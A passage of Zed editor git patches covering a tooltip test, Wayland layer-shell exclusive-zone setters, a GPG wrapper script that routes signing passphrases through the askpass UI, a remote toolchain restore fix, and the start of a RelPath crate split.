@@ -215,7 +243,12 @@ impl Component for UpdateButton {
                         single_example("Checking", UpdateButton::checking().into_any_element()),
                         single_example(
                             "Downloading",
-                            UpdateButton::downloading(version, Some(0.45)).into_any_element(),
+                            UpdateButton::downloading(Some(0.45))
+                                .tooltip(UpdateButton::downloading_tooltip_message(
+                                    version,
+                                    Some(0.45),
+                                ))
+                                .into_any_element(),
                         ),
                         single_example(
                             "Installing",
@@ -240,3 +273,83 @@ impl Component for UpdateButton {
             .into_any_element()
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use gpui::{Render, TestAppContext, point, px};
+    use std::cell::Cell;
+    use std::rc::Rc;
+    use std::time::Duration;
+
+    struct TestTooltip {
+        rendered: Rc<Cell<u32>>,
+    }
+
+    impl Render for TestTooltip {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            self.rendered.set(self.rendered.get() + 1);
+            div().child("tooltip")
+        }
+    }
+
+    struct PreviewLikeButtons {
+        tooltip_built: Rc<Cell<bool>>,
+        tooltip_rendered: Rc<Cell<u32>>,
+    }
+
+    impl Render for PreviewLikeButtons {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            let tooltip_built = self.tooltip_built.clone();
+            let tooltip_rendered = self.tooltip_rendered.clone();
+            crate::v_flex()
+                .size_full()
+                .child(UpdateButton::checking())
+                .child(
+                    UpdateButton::downloading(Some(0.5)).tooltip_fn(move |_, cx| {
+                        tooltip_built.set(true);
+                        let rendered = tooltip_rendered.clone();
+                        cx.new(|_| TestTooltip { rendered }).into()
+                    }),
+                )
+                .child(UpdateButton::updated("Update to Version: 1.0.0"))
+        }
+    }
+
+    #[gpui::test]
+    async fn test_downloading_tooltip_shows_in_preview_like_layout(cx: &mut TestAppContext) {
+        cx.update(|cx| {
+            let settings_store = settings::SettingsStore::test(cx);
+            cx.set_global(settings_store);
+            theme_settings::init(theme::LoadThemes::JustBase, cx);
+        });
+        let tooltip_built = Rc::new(Cell::new(false));
+        let tooltip_rendered = Rc::new(Cell::new(0));
+        let (_view, cx) = cx.add_window_view({
+            let tooltip_built = tooltip_built.clone();
+            let tooltip_rendered = tooltip_rendered.clone();
+            |_, _| PreviewLikeButtons {
+                tooltip_built,
+                tooltip_rendered,
+            }
+        });
+
+        cx.simulate_mouse_move(point(px(30.), px(30.)), None, gpui::Modifiers::default());
+        cx.run_until_parked();
+        cx.simulate_mouse_move(point(px(31.), px(30.)), None, gpui::Modifiers::default());
+        cx.run_until_parked();
+
+        cx.executor().advance_clock(Duration::from_millis(600));
+        cx.run_until_parked();
+
+        assert!(tooltip_built.get(), "tooltip should have been built");
+
+        tooltip_rendered.set(0);
+        cx.update(|window, _| window.refresh());
+        cx.run_until_parked();
+        assert!(
+            tooltip_rendered.get() > 0,
+            "tooltip should still be rendered after another frame"
+        );
+    }
+}

From 166f044fd046e0de73cd64a027505db90f523b97 Mon Sep 17 00:00:00 2001
From: Philipp Schaffrath <philipp.schaffrath@gmail.com>
Date: Wed, 15 Jul 2026 10:18:46 +0200
Subject: [PATCH 468/772] gpui: Linux wayland set exclusive zone and edge
 (#60163)

# Objective

The exclusive zone and exclusive edge of a wlr-layer-shell surface could
only be set once, at creation, through `LayerShellOptions`. This adds
runtime setters so a live layer-shell window such as a panel can update
them without being recreated.

## Solution

Add two methods on `Window`:

- `set_exclusive_zone` updates how much screen space the surface
reserves. A positive value reserves that distance from the anchored
edge, 0 lets the surface be moved out of others' exclusive zones, and -1
ignores reserved space and may extend under other surfaces.
- `set_exclusive_edge` chooses which anchored edge the exclusive zone
applies to, which is needed to disambiguate a corner-anchored surface.

Setting an exclusive edge the surface is not anchored to is a fatal
protocol error, so the edge is validated (it must be a single edge that
the surface anchor contains) and an invalid edge is logged and ignored.
The same validation now also guards the creation path. Both setters only
commit the surface when a change actually applies, and are no-ops on
non-layer-shell windows and on other platforms.

This is where these 2 are documented:

https://wayland.app/protocols/wlr-layer-shell-unstable-v1#zwlr_layer_surface_v1:request:set_exclusive_zone

https://wayland.app/protocols/wlr-layer-shell-unstable-v1#zwlr_layer_surface_v1:request:set_exclusive_edge

## Testing

- Verified with a small local layer-shell window (a top bar anchored
TOP, LEFT, RIGHT) with buttons that call the setters at runtime
- No automated test was added, since this calls through to the
compositor.
- Reviewers without a layer-shell capable compositor (for example
GNOME/Mutter) cannot exercise this, as `zwlr_layer_shell_v1` is
unavailable there, I tested this on the
[Smithay](https://github.com/Smithay/smithay/) based compositor
[niri](https://github.com/niri-wm/niri)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- N/A
---
 crates/gpui/src/platform.rs                   |  3 +
 crates/gpui/src/window.rs                     | 18 +++++
 crates/gpui_linux/src/linux/wayland/window.rs | 77 +++++++++++++++++--
 3 files changed, 93 insertions(+), 5 deletions(-)

diff --git a/crates/gpui/src/platform.rs b/crates/gpui/src/platform.rs
index 3d23df0e944cdf..df7973909c530c 100644
--- a/crates/gpui/src/platform.rs
+++ b/crates/gpui/src/platform.rs
@@ -800,6 +800,9 @@ pub trait PlatformWindow: HasWindowHandle + HasDisplayHandle {
     fn show_window_menu(&self, _position: Point<Pixels>) {}
     fn start_window_move(&self) {}
     fn start_window_resize(&self, _edge: ResizeEdge) {}
+    fn set_exclusive_zone(&self, _zone: Pixels) {}
+    #[cfg(all(target_os = "linux", feature = "wayland"))]
+    fn set_exclusive_edge(&self, _edge: layer_shell::Anchor) {}
     fn set_input_region(&self, _region: Option<&[Bounds<Pixels>]>) {}
     fn window_decorations(&self) -> Decorations {
         Decorations::Server
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 15193b3c78bd6b..4c8b4651c8c2a2 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -1997,6 +1997,24 @@ impl Window {
         self.platform_window.request_decorations(decorations);
     }
 
+    /// Set the exclusive zone for a layer-shell surface: how much screen space it
+    /// reserves so other surfaces avoid occluding it (e.g. a panel reserving space).
+    /// Positive values reserve that distance from the anchored edge, 0 lets the
+    /// surface be moved out of others' exclusive zones, and -1 ignores reserved
+    /// space and may extend under other surfaces. (Wayland layer-shell windows only)
+    pub fn set_exclusive_zone(&self, zone: Pixels) {
+        self.platform_window.set_exclusive_zone(zone);
+    }
+
+    /// Set which anchored edge a layer-shell surface's exclusive zone applies to.
+    /// This is only needed to disambiguate a corner-anchored surface; otherwise the
+    /// edge is deduced from the anchor. The edge must be a single edge the surface
+    /// is anchored to, or it is ignored. (Wayland layer-shell windows only)
+    #[cfg(all(target_os = "linux", feature = "wayland"))]
+    pub fn set_exclusive_edge(&self, edge: crate::layer_shell::Anchor) {
+        self.platform_window.set_exclusive_edge(edge);
+    }
+
     /// Start a window resize operation (Wayland)
     pub fn start_window_resize(&self, edge: ResizeEdge) {
         self.platform_window.start_window_resize(edge);
diff --git a/crates/gpui_linux/src/linux/wayland/window.rs b/crates/gpui_linux/src/linux/wayland/window.rs
index 6d2753e131dfc5..993b2ff3fadc85 100644
--- a/crates/gpui_linux/src/linux/wayland/window.rs
+++ b/crates/gpui_linux/src/linux/wayland/window.rs
@@ -36,8 +36,10 @@ use gpui::{
     PlatformAtlas, PlatformDisplay, PlatformInput, PlatformInputHandler, PlatformWindow, Point,
     PromptButton, PromptLevel, RequestFrameOptions, ResizeEdge, Scene, Size, Tiling,
     WindowAppearance, WindowBackgroundAppearance, WindowBounds, WindowControlArea, WindowControls,
-    WindowDecorations, WindowKind, WindowParams, layer_shell::LayerShellNotSupportedError,
-    popup::PopupOptions, px, size,
+    WindowDecorations, WindowKind, WindowParams,
+    layer_shell::{Anchor, LayerShellNotSupportedError},
+    popup::PopupOptions,
+    px, size,
 };
 use gpui_wgpu::{CompositorGpuHint, WgpuRenderer, WgpuSurfaceConfig, wgpu};
 
@@ -183,12 +185,12 @@ impl WaylandSurfaceState {
             }
 
             if let Some(exclusive_edge) = options.exclusive_edge {
-                layer_surface
-                    .set_exclusive_edge(super::layer_shell::wayland_anchor(exclusive_edge));
+                Self::apply_exclusive_edge(&layer_surface, options.anchor, exclusive_edge);
             }
 
             return Ok(WaylandSurfaceState::LayerShell(WaylandLayerSurfaceState {
                 layer_surface,
+                anchor: options.anchor,
             }));
         }
 
@@ -298,6 +300,7 @@ pub struct WaylandXdgSurfaceState {
 
 pub struct WaylandLayerSurfaceState {
     layer_surface: zwlr_layer_surface_v1::ZwlrLayerSurfaceV1,
+    anchor: Anchor,
 }
 
 pub struct WaylandPopupSurfaceState {
@@ -452,6 +455,49 @@ impl WaylandSurfaceState {
         }
     }
 
+    fn set_exclusive_zone(&self, zone: i32) -> bool {
+        if let WaylandSurfaceState::LayerShell(WaylandLayerSurfaceState { layer_surface, .. }) =
+            self
+        {
+            layer_surface.set_exclusive_zone(zone);
+            true
+        } else {
+            false
+        }
+    }
+
+    /// An exclusive edge must be a single edge that the surface is anchored to,
+    /// otherwise the compositor raises a fatal `invalid_exclusive_edge` protocol
+    /// error. An invalid edge is logged and ignored. Returns whether it applied.
+    fn apply_exclusive_edge(
+        layer_surface: &zwlr_layer_surface_v1::ZwlrLayerSurfaceV1,
+        anchor: Anchor,
+        edge: Anchor,
+    ) -> bool {
+        if edge.bits().count_ones() == 1 && anchor.contains(edge) {
+            layer_surface.set_exclusive_edge(super::layer_shell::wayland_anchor(edge));
+            true
+        } else {
+            log::warn!(
+                "ignoring exclusive edge {edge:?}: must be a single edge of the surface anchor {anchor:?}"
+            );
+            false
+        }
+    }
+
+    fn set_exclusive_edge(&self, edge: Anchor) -> bool {
+        if let WaylandSurfaceState::LayerShell(WaylandLayerSurfaceState {
+            layer_surface,
+            anchor,
+            ..
+        }) = self
+        {
+            Self::apply_exclusive_edge(layer_surface, *anchor, edge)
+        } else {
+            false
+        }
+    }
+
     fn destroy(&mut self) {
         match self {
             WaylandSurfaceState::Xdg(WaylandXdgSurfaceState {
@@ -470,7 +516,7 @@ impl WaylandSurfaceState {
                 toplevel.destroy();
                 xdg_surface.destroy();
             }
-            WaylandSurfaceState::LayerShell(WaylandLayerSurfaceState { layer_surface }) => {
+            WaylandSurfaceState::LayerShell(WaylandLayerSurfaceState { layer_surface, .. }) => {
                 layer_surface.destroy();
             }
             WaylandSurfaceState::Popup(WaylandPopupSurfaceState {
@@ -1739,6 +1785,27 @@ impl PlatformWindow for WaylandWindow {
         }
     }
 
+    fn set_exclusive_zone(&self, zone: Pixels) {
+        let state = self.borrow();
+        if state
+            .surface_state
+            .set_exclusive_zone(f32::from(zone) as i32)
+        {
+            // Commit to apply it immediately, otherwise it only takes effect
+            // on the next frame.
+            state.surface.commit();
+        }
+    }
+
+    fn set_exclusive_edge(&self, edge: Anchor) {
+        let state = self.borrow();
+        if state.surface_state.set_exclusive_edge(edge) {
+            // Commit to apply it immediately, otherwise it only takes effect
+            // on the next frame.
+            state.surface.commit();
+        }
+    }
+
     fn set_input_region(&self, region: Option<&[Bounds<Pixels>]>) {
         let state = self.borrow();
         match region {

From b76e4db15df16b79f8ab8383904a92d7ebc60fca Mon Sep 17 00:00:00 2001
From: Remco Smits <djsmits12@gmail.com>
Date: Wed, 15 Jul 2026 10:27:31 +0200
Subject: [PATCH 469/772] git: Add a gpg wrapper script to route GnuPG prompts
 via the askpass UI (#58791)

This PR adds support for entering your git GPG passphrase through the
askpass UI. As a daily Zed user I'm really missing this feature, this
forces me to switch to a terminal or an external application. which is
not ideal for me and most people that are forced to use GPG signing.

Right now Zed can show a similar error (redacted) when you are trying to
commit with GPG signing enabled:
```
error: gpg failed to sign the data:
[GNUPG:] KEY_CONSIDERED <redacted> 2
[GNUPG:] BEGIN_SIGNING H8
[GNUPG:] PINENTRY_LAUNCHED 4625 curses 1.3.2 - xterm-ghostty - - 501/20 0
gpg: signing failed: Inappropriate ioctl for device
[GNUPG:] FAILURE sign <redacted>
gpg: signing failed: Inappropriate ioctl for device

fatal: failed to write commit object
```

Here is the key configurion parts of my **global** git config:

```
[user]
	name = Remco Smits
	email = <redacted>
	signingkey = <redacted>
[commit]
	gpgsign = true
[tag]
	gpgsign = true
```

**Before**


https://github.com/user-attachments/assets/60a06574-92f1-45df-a29a-8ae11db6751d

**After**


https://github.com/user-attachments/assets/92b648e9-b538-4ce5-af4c-136689d14e1a


**How to test this?**
1. Create a key `gpg --full-generate-key`
2. Run `git config --global user.signingkey <KEY ID>`
3. Run `git config --global commit.gpgsign true`
4. Run & copy result from `gpg --armor --export <KEY ID>` and submit
your public key to github
[https://github.com/settings/gpg/new](https://github.com/settings/gpg/new)
5. Make a change and try committing
6. See that it promts for your passphrase :)

**Note**: I used AI as an assistant to write this PR

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Git: Passphrase prompts from GPG to unlock commit signing keys are now
shown in Zed.

Co-authored-by: Lukas Wirth <lukas@zed.dev>
---
 Cargo.lock                    |   1 +
 crates/askpass/Cargo.toml     |   3 +
 crates/askpass/src/askpass.rs | 136 ++++++++++++++++++++++++++++++++++
 crates/git/src/repository.rs  |  10 +++
 4 files changed, 150 insertions(+)

diff --git a/Cargo.lock b/Cargo.lock
index 31c56677ac11da..b48dfe2dd53755 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -954,6 +954,7 @@ dependencies = [
  "smol",
  "tempfile",
  "util",
+ "which 6.0.3",
  "windows 0.61.3",
  "zeroize",
 ]
diff --git a/crates/askpass/Cargo.toml b/crates/askpass/Cargo.toml
index 298d1a736959d1..671ab34df25080 100644
--- a/crates/askpass/Cargo.toml
+++ b/crates/askpass/Cargo.toml
@@ -22,6 +22,9 @@ tempfile.workspace = true
 util.workspace = true
 zeroize.workspace = true
 
+[target.'cfg(not(target_os = "windows"))'.dependencies]
+which.workspace = true
+
 [target.'cfg(target_os = "windows")'.dependencies]
 windows.workspace = true
 
diff --git a/crates/askpass/src/askpass.rs b/crates/askpass/src/askpass.rs
index e887841b584914..dc5488ac117472 100644
--- a/crates/askpass/src/askpass.rs
+++ b/crates/askpass/src/askpass.rs
@@ -91,6 +91,9 @@ pub struct AskPassSession {
 #[cfg(not(target_os = "windows"))]
 const ASKPASS_SCRIPT_NAME: &str = "askpass.sh";
 
+#[cfg(not(target_os = "windows"))]
+const GPG_WRAPPER_SCRIPT_NAME: &str = "gpg-wrapper.sh";
+
 impl AskPassSession {
     /// This will create a new AskPassSession.
     /// You must retain this session until the master process exits.
@@ -189,6 +192,15 @@ impl AskPassSession {
         self.askpass_task.script_path()
     }
 
+    /// Path to a script suitable for git's `gpg.program`, routing GnuPG
+    /// passphrase prompts through Zed's askpass UI. `None` if unavailable.
+    pub fn gpg_wrapper_path(&self) -> Option<&std::path::Path> {
+        #[cfg(not(target_os = "windows"))]
+        return self.askpass_task.gpg_wrapper_path();
+        #[cfg(target_os = "windows")]
+        return None;
+    }
+
     /// Returns the socket path to set as ZED_ASKPASS_SOCKET.
     ///
     /// On Windows, SSH_ASKPASS points directly to cli.exe. SSH passes only
@@ -206,6 +218,8 @@ pub struct PasswordProxy {
     /// On Unix: path to the generated .sh askpass script (set as SSH_ASKPASS).
     /// On Windows: path to cli.exe (set as SSH_ASKPASS directly — no script needed).
     askpass_script_path: std::path::PathBuf,
+    #[cfg(not(target_os = "windows"))]
+    gpg_wrapper_script_path: Option<std::path::PathBuf>,
     /// On Windows only: path to the Unix socket, passed as ZED_ASKPASS_SOCKET
     /// so cli.exe can find it without --askpass argument parsing.
     #[cfg(target_os = "windows")]
@@ -238,6 +252,24 @@ impl PasswordProxy {
 
         let askpass_socket_path = askpass_socket.clone();
 
+        // Create a gpg wrapper script that routes GnuPG passphrase prompts through
+        // the same socket (and thus through Zed's askpass UI). This only works on
+        // Unix where we control the pinentry via loopback mode. We compute the path
+        // before the socket task takes ownership of `temp_dir`, and write the file
+        // afterwards.
+        #[cfg(not(target_os = "windows"))]
+        let (gpg_wrapper_script_path, gpg_wrapper_script) =
+            match generate_gpg_wrapper_script(askpass_program, &askpass_socket_path) {
+                Ok(script) => (
+                    Some(temp_dir.path().join(GPG_WRAPPER_SCRIPT_NAME)),
+                    Some(script),
+                ),
+                Err(err) => {
+                    log::warn!("could not create gpg askpass wrapper: {err:#}");
+                    (None, None)
+                }
+            };
+
         let _task = executor.spawn(async move {
             maybe!(async move {
                 let listener =
@@ -291,9 +323,36 @@ impl PasswordProxy {
                 })?;
         }
 
+        // Write the gpg wrapper script (computed above) and mark it executable.
+        #[cfg(not(target_os = "windows"))]
+        let gpg_wrapper_script_path =
+            if let Some((path, script)) = gpg_wrapper_script_path.zip(gpg_wrapper_script) {
+                match async {
+                    fs::write(&path, script)
+                        .await
+                        .with_context(|| format!("creating gpg wrapper script at {path:?}"))?;
+                    make_file_executable(&path).await.with_context(|| {
+                        format!("marking gpg wrapper script executable at {path:?}")
+                    })?;
+                    anyhow::Ok(())
+                }
+                .await
+                {
+                    Ok(()) => Some(path),
+                    Err(err) => {
+                        log::warn!("could not write gpg askpass wrapper: {err:#}");
+                        None
+                    }
+                }
+            } else {
+                None
+            };
+
         Ok(Self {
             _task,
             askpass_script_path,
+            #[cfg(not(target_os = "windows"))]
+            gpg_wrapper_script_path,
             #[cfg(target_os = "windows")]
             askpass_socket_path,
         })
@@ -307,6 +366,11 @@ impl PasswordProxy {
     pub fn socket_path(&self) -> impl AsRef<OsStr> {
         &self.askpass_socket_path
     }
+
+    #[cfg(not(target_os = "windows"))]
+    pub fn gpg_wrapper_path(&self) -> Option<&std::path::Path> {
+        self.gpg_wrapper_script_path.as_deref()
+    }
 }
 
 /// Runs Zed in netcat mode for use in askpass.
@@ -398,3 +462,75 @@ fn generate_askpass_script(
         "{shebang}\n{print_args} | {askpass_program} --askpass={askpass_socket} 2> /dev/null \n",
     ))
 }
+
+#[inline]
+#[cfg(not(target_os = "windows"))]
+fn generate_gpg_wrapper_script(
+    askpass_program: &std::path::Path,
+    askpass_socket: &std::path::Path,
+) -> Result<String> {
+    let shell_kind = ShellKind::Posix;
+    let gpg_program = find_gpg_program().context("could not find a gpg binary on PATH")?;
+    let gpg_program = gpg_program
+        .to_str()
+        .context("gpg program is on a non-utf8 path")?;
+    let gpg_program = shell_kind
+        .try_quote_prefix_aware(gpg_program)
+        .context("Failed to shell-escape gpg program path")?;
+
+    let askpass_program = shell_kind.prepend_command_prefix(
+        askpass_program
+            .to_str()
+            .context("Askpass program is on a non-utf8 path")?,
+    );
+    let askpass_program = shell_kind
+        .try_quote_prefix_aware(&askpass_program)
+        .context("Failed to shell-escape Askpass program path")?;
+    let askpass_socket = askpass_socket
+        .try_shell_safe(shell_kind)
+        .context("Failed to shell-escape Askpass socket path")?;
+
+    let prompt = shell_kind
+        .try_quote_prefix_aware("Enter passphrase for your Git signing key:")
+        .context("Failed to shell-escape gpg passphrase prompt")?;
+
+    // The wrapper inspects gpg's arguments and only prompts for a passphrase when
+    // git asks it to *sign* (e.g. `gpg -bsau <key>`). Other invocations such as
+    // signature verification (`--verify`) run gpg unchanged so we never pop a
+    // spurious modal. When signing, we feed the passphrase to gpg on fd 3 via
+    // `--passphrase-fd 3` in loopback mode, so no pinentry/terminal is required.
+    Ok(format!(
+        r#"#!/bin/sh
+for arg in "$@"; do
+    case "$arg" in
+        # Long-form signing options.
+        --sign|--detach-sign|--clearsign|--clear-sign) is_signing=1 ;;
+        # Skip other long options so flags like `--status-fd` don't match below.
+        --*) ;;
+        # Short-flag clusters containing `s`, e.g. git's `-bsau`.
+        -*s*) is_signing=1 ;;
+    esac
+done
+
+# Not a signing request: run gpg as-is, leaving its prompting untouched.
+if [ -z "${{is_signing}}" ]; then
+    exec {gpg_program} "$@"
+fi
+
+# Signing: ask Zed for the passphrase, then hand it to gpg on fd 3.
+passphrase=$(printf '%s\0' {prompt} | {askpass_program} --askpass={askpass_socket} 2>/dev/null)
+exec {gpg_program} --pinentry-mode loopback --passphrase-fd 3 "$@" 3<<EOF
+${{passphrase}}
+EOF
+"#,
+    ))
+}
+
+/// Finds the real `gpg` (or `gpg2`) executable on `PATH`.
+#[inline]
+#[cfg(not(target_os = "windows"))]
+fn find_gpg_program() -> Option<std::path::PathBuf> {
+    ["gpg", "gpg2"]
+        .into_iter()
+        .find_map(|candidate| which::which(candidate).ok())
+}
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index 94d3fac855e550..0ff60eade2c403 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -3744,6 +3744,16 @@ async fn run_git_command(
             .env("GIT_ASKPASS", ask_pass.script_path())
             .env("SSH_ASKPASS", ask_pass.script_path())
             .env("SSH_ASKPASS_REQUIRE", "force");
+
+        if !env.contains_key("GIT_CONFIG_COUNT")
+            && let Some(gpg_wrapper) = ask_pass.gpg_wrapper_path()
+        {
+            command
+                .env("GIT_CONFIG_COUNT", "1")
+                .env("GIT_CONFIG_KEY_0", "gpg.program")
+                .env("GIT_CONFIG_VALUE_0", gpg_wrapper);
+        }
+
         #[cfg(target_os = "windows")]
         command.env("ZED_ASKPASS_SOCKET", ask_pass.socket_path());
         let git_process = command.spawn()?;

From febe242c0bf7eab5a283fc26f16d49c2fb9ae607 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Wed, 15 Jul 2026 16:28:00 +0800
Subject: [PATCH 470/772] workspace: Fix toolchain not recovered correctly in
 remote development (#60030)

# Objective

Closes #55925
Closes #59094

When a Python project is opened and a toolchain is selected, Zed
stores/persists this choice in the database. When the project is
reopened later, that saved toolchain should be automatically selected.
However, this recovery mechanism requires the associated worktree to be
loaded first.

In local development, the worktrees are loaded first, after which the
toolchain is restored and activated:

https://github.com/zed-industries/zed/blob/afaef857b987d924c5ec09265a83feb030283f48/crates/workspace/src/workspace.rs#L1916-L1955

But in remote development, the toolchain restoration block runs at the
very beginning of initialization, before any worktrees are loaded:

https://github.com/zed-industries/zed/blob/afaef857b987d924c5ec09265a83feb030283f48/crates/workspace/src/workspace.rs#L10381-L10413

Because the worktree does not exist yet when the toolchain is processed,
`find_worktree` always returns `None`, and the saved toolchain is never
activated. This breaks toolchain persistence for remote workspaces.

## Solution

Move the toolchain activation block in `open_remote_project_inner` so it
runs after the worktrees have been loaded, matching the sequence used in
`new_local`. This ensures the worktree is present in the project when we
perform the ID lookup and activate the toolchain.

## Testing

Tested locally with a Windows client connecting to a remote Linux
server, verifying that the previously selected virtual environment is
correctly restored upon reopening the workspace.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Fixed Python virtual environments not automatically restoring when
reopening a remote development workspace.

Co-authored-by: Lukas Wirth <lukas@zed.dev>
---
 crates/workspace/src/workspace.rs | 54 +++++++++++++++++--------------
 1 file changed, 30 insertions(+), 24 deletions(-)

diff --git a/crates/workspace/src/workspace.rs b/crates/workspace/src/workspace.rs
index ace71b3de14c3a..699e1ca5831036 100644
--- a/crates/workspace/src/workspace.rs
+++ b/crates/workspace/src/workspace.rs
@@ -10809,28 +10809,6 @@ async fn open_remote_project_inner(
     source_workspace: Option<WeakEntity<Workspace>>,
     cx: &mut AsyncApp,
 ) -> Result<Vec<Option<Box<dyn ItemHandle>>>> {
-    let db = cx.update(|cx| WorkspaceDb::global(cx));
-    let toolchains = db.toolchains(workspace_id).await?;
-    for (toolchain, worktree_path, path) in toolchains {
-        project
-            .update(cx, |this, cx| {
-                let Some(worktree_id) =
-                    this.find_worktree(&worktree_path, cx)
-                        .and_then(|(worktree, rel_path)| {
-                            if rel_path.is_empty() {
-                                Some(worktree.read(cx).id())
-                            } else {
-                                None
-                            }
-                        })
-                else {
-                    return Task::ready(None);
-                };
-
-                this.activate_toolchain(ProjectPath { worktree_id, path }, toolchain, cx)
-            })
-            .await;
-    }
     let mut project_paths_to_open = vec![];
     let mut project_path_errors = vec![];
 
@@ -10856,8 +10834,13 @@ async fn open_remote_project_inner(
 
     let workspace = window.update(cx, |multi_workspace, window, cx| {
         let new_workspace = cx.new(|cx| {
-            let mut workspace =
-                Workspace::new(Some(workspace_id), project, app_state.clone(), window, cx);
+            let mut workspace = Workspace::new(
+                Some(workspace_id),
+                project.clone(),
+                app_state.clone(),
+                window,
+                cx,
+            );
             workspace.update_history(cx);
 
             if let Some(ref serialized) = serialized_workspace {
@@ -10880,6 +10863,29 @@ async fn open_remote_project_inner(
         new_workspace
     })?;
 
+    let db = cx.update(|cx| WorkspaceDb::global(cx));
+    let toolchains = db.toolchains(workspace_id).await?;
+    for (toolchain, worktree_path, path) in toolchains {
+        project
+            .update(cx, |this, cx| {
+                let Some(worktree_id) =
+                    this.find_worktree(&worktree_path, cx)
+                        .and_then(|(worktree, rel_path)| {
+                            if rel_path.is_empty() {
+                                Some(worktree.read(cx).id())
+                            } else {
+                                None
+                            }
+                        })
+                else {
+                    return Task::ready(None);
+                };
+
+                this.activate_toolchain(ProjectPath { worktree_id, path }, toolchain, cx)
+            })
+            .await;
+    }
+
     let items = window
         .update(cx, |_, window, cx| {
             window.activate_window();

From f181a2f47be57d1dc57412d42ac44df2fc7eca8f Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Wed, 15 Jul 2026 10:33:25 +0200
Subject: [PATCH 471/772] Split out `RelPath` into a separate crate (#61029)

This is necessary to remove some `util` dependencies from crates, as
well as better sharing for our projects. This also includes the WIP
AbsPath abstraction as well as some bug fixes from internal tooling.


Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock                                    |  16 +-
 Cargo.toml                                    |   2 +
 crates/acp_thread/src/mention.rs              |  38 +-
 crates/agent/src/agent.rs                     |  16 +-
 crates/agent/src/templates.rs                 |   2 +-
 crates/agent/src/tools/edit_session.rs        |   4 +-
 crates/agent_ui/src/agent_panel.rs            |   2 +-
 crates/agent_ui/src/mention_set.rs            |   3 +-
 crates/client/src/telemetry.rs                |   2 +-
 crates/collab/src/db/queries/projects.rs      |   2 +-
 .../random_project_collaboration_tests.rs     |   4 +-
 crates/debugger_ui/src/debugger_panel.rs      |   8 +-
 crates/debugger_ui/src/new_process_modal.rs   |   9 +-
 .../src/session/running/stack_frame_list.rs   |   2 +-
 crates/dev_container/src/devcontainer_api.rs  |  10 +-
 crates/dev_container/src/lib.rs               |   5 +-
 crates/edit_prediction/src/udiff.rs           |   4 +-
 .../src/edit_prediction_context.rs            |   2 +-
 .../src/editable_context.rs                   |   2 +-
 crates/editor/src/clipboard.rs                |   4 +-
 crates/editor/src/editor_tests.rs             |  14 +-
 crates/editor/src/items.rs                    |   4 +-
 crates/extension/Cargo.toml                   |   1 +
 crates/extension/src/extension.rs             |   2 +-
 crates/extension/src/extension_builder.rs     |   3 +-
 crates/extension/src/extension_manifest.rs    |  13 +-
 crates/extension_host/src/extension_host.rs   |   2 +-
 .../src/wasm_host/wit/since_v0_1_0.rs         |   2 +-
 .../src/wasm_host/wit/since_v0_8_0.rs         |   4 +-
 crates/file_finder/src/file_finder.rs         |   8 +-
 crates/file_finder/src/file_finder_tests.rs   |   4 +-
 crates/fs/Cargo.toml                          |   1 +
 crates/fs/src/fs.rs                           |   2 +-
 .../fuzzy_nucleo/benches/match_benchmark.rs   |  12 +-
 crates/git/src/repository.rs                  |   8 +-
 crates/git/src/status.rs                      |   4 +-
 crates/git_ui/src/diff_multibuffer.rs         |   4 +-
 crates/git_ui/src/git_panel.rs                |   4 +-
 crates/git_ui/src/multi_diff_view.rs          |   6 +-
 crates/image_viewer/src/image_viewer.rs       |   2 +-
 crates/language/src/language.rs               |   4 +-
 crates/language_core/Cargo.toml               |   6 +-
 crates/language_core/src/language_config.rs   |   7 +-
 crates/language_core/src/language_core.rs     |   6 +-
 crates/language_core/src/toolchain.rs         |   2 +-
 crates/languages/src/eslint.rs                |   2 +-
 crates/languages/src/json.rs                  |   8 +-
 crates/languages/src/python.rs                |  37 +-
 crates/languages/src/rust.rs                  |   2 +-
 crates/languages/src/typescript.rs            |   4 +-
 crates/multi_buffer/src/path_key.rs           |   2 +-
 .../open_path_prompt/src/open_path_prompt.rs  |  24 +-
 crates/path/Cargo.toml                        |  23 +
 crates/path/LICENSE-APACHE                    |   1 +
 crates/path/src/abs_path.rs                   | 286 +++++++++++
 crates/path/src/path.rs                       | 263 ++++++++++
 crates/{util => path}/src/rel_path.rs         | 380 ++++++++++----
 crates/paths/src/paths.rs                     |  14 +-
 crates/project/Cargo.toml                     |   9 +-
 crates/project/src/buffer_store.rs            |   2 +-
 crates/project/src/git_store.rs               |  54 +-
 crates/project/src/image_store.rs             |   2 +-
 crates/project/src/lsp_command.rs             |   6 +-
 crates/project/src/lsp_store.rs               |  29 +-
 crates/project/src/manifest_tree/path_trie.rs |   7 +-
 crates/project/src/prettier_store.rs          |   2 +-
